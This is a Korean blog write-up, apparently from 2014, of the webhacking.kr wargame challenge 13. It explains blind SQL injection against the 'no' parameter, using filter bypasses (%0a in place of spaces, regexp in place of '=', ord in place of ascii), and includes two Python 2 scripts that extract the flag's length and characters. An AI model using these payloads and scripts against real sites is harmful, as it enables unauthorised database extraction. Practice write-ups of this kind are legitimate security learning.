webhacking/sql, sql injection

webhacking.kr 13번.

qkqhxla1 2014. 9. 4. 19:38

힌트는 HINT : select flag from prob13password 라는 쿼리문하나.


다른곳을 찾아봐도 다른 힌트는 없고, SQLI같이 소스가 보이지도 않아서 블라인드 인젝션으로 생각.


나와있는 열은 flag밖에 없어서 flag값을 알아내는거라고 추측


값을 넣을 수 있는 no에 이것저것 값을 넣어보면 0또는 1만 나오고, 1 이외의 다른 수를 넣어봤을때


무조건 0이 나오는걸로 보아서 0을 틀린경우로, 1을 맞는경우로 사용하면 되겠다고 생각.


값을 넘길때 no=?식으로 값이 넘어가는데 쿼리문을 예상해보자면


select flag from prob13password where no=?같은 형식이나


select 열 from 다른테이블 where no=? 같은 형식으로 예상할 수 있음. 


no=if((select substr(flag,1,1) from prob13password)='a',1,1) 와 같은방법으로 flag의 첫번째 글자를 


뽑아내는게 가능. 그런데 flag가 여러 개일 경우 if문 내부의 서브쿼리는 두개 이상의 값을 반환하게 되어


에러를 발생시켜 값이 항상 false로 나옴.


일단 flag의 갯수를 알기 위해 쿼리를 짜면


no=if((select count(flag) from prob13password)=1,1,1) 식으로 짜서 넣어보면 에러가 발생하는데,


공백과 =을 필터링하므로 바꿔서 집어넣으면 


no=if((select%0acount(flag)%0afrom%0aprob13password)%0aregexp%0a1,1,0)


와 같이 공백은 %0a로, =은 regexp로 바꿔서 변환. regexp뒤의 숫자는 바꿔가며 돌려보니 2가 true.


flag의 갯수는 2개라는걸 확인.


flag 2개의 구분은 max,min으로 서로 구분가능. max와 min 각각의 길이를 구해보면.(길이는 대충


0~30사이로 가정.) no=if((select length(max(flag)) from prob13password) regexp 숫자,1,0)식으로 


쿼리를 짜서 프로그램을 만들면

import urllib2

req = urllib2.Request('http://webhacking.kr','id=?????&pw=?????')
res = urllib2.urlopen(req)
session = res.headers.get('set-cookie')
for i in range(0,30):
    req = urllib2.Request('http://webhacking.kr/challenge/web/web-10/?no=if((select%0alength(max(flag))%0afrom%0aprob13password)%0aregexp%0a'+str(i)+',1,0)')
    req.add_header('cookie',session)
    res = urllib2.urlopen(req)
    if res.read().find('1') != -1:
        print 'length :',i
        break


아이디와 비밀번호부분에 제대로 입력하면 max일시 길이는 4, min으로 입력했을시 내가 알수 없는


이유로 길이가 0일때도 true가 뜸. 1~30범위로 돌려보면 min의 길이는 20이라고 나옴.


(아직까지 0일때 true가 뜨는 이유는 모르겠습니다.)


길이를 알았으니 max, min의 값을 뽑아보면


if((select ascii(substr(max(flag),1,1)) from prob13password) regexp 아스키코드값,1,0)


돌려보니 공백과 ascii가 막혀있으므로.


if((select%0aord(substr(max(flag),1,1))%0afrom%0aprob13password)%0aregexp%0a아스키코드값,1,0)


과 같이 변환 후 코드를 짜면

import urllib2

req = urllib2.Request('http://webhacking.kr','id=?????&pw=?????')
res = urllib2.urlopen(req)
session = res.headers.get('set-cookie')
flag = ''
for i in range(1,5):
    for j in range(32,128):
        print i,':',j,flag
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-10/?no=if((select%0aord(substr(max(flag),'+str(i)+\
                              ',1))%0afrom%0aprob13password)%0aregexp%0a'+str(j)+',1,0)')
        req.add_header('cookie',session)
        res = urllib2.urlopen(req)
        read = res.read()
        if read.find('1') != -1:
            flag += chr(j)
            print flag
            break
print flag

flag(max)의 값은 flag. 열 이름과 같은값이 답일리 없으니, 20길이의 flag(min)이 답.

'webhacking > sql, sql injection' 카테고리의 다른 글

mysql hex()함수에 관해서  (0) 2014.09.06
rubiya.kr 15번.  (0) 2014.09.06
rubiya.kr 20번.  (0) 2014.09.04
mysql max,min함수  (0) 2014.08.31
mysql 이상한 주석문  (0) 2014.08.31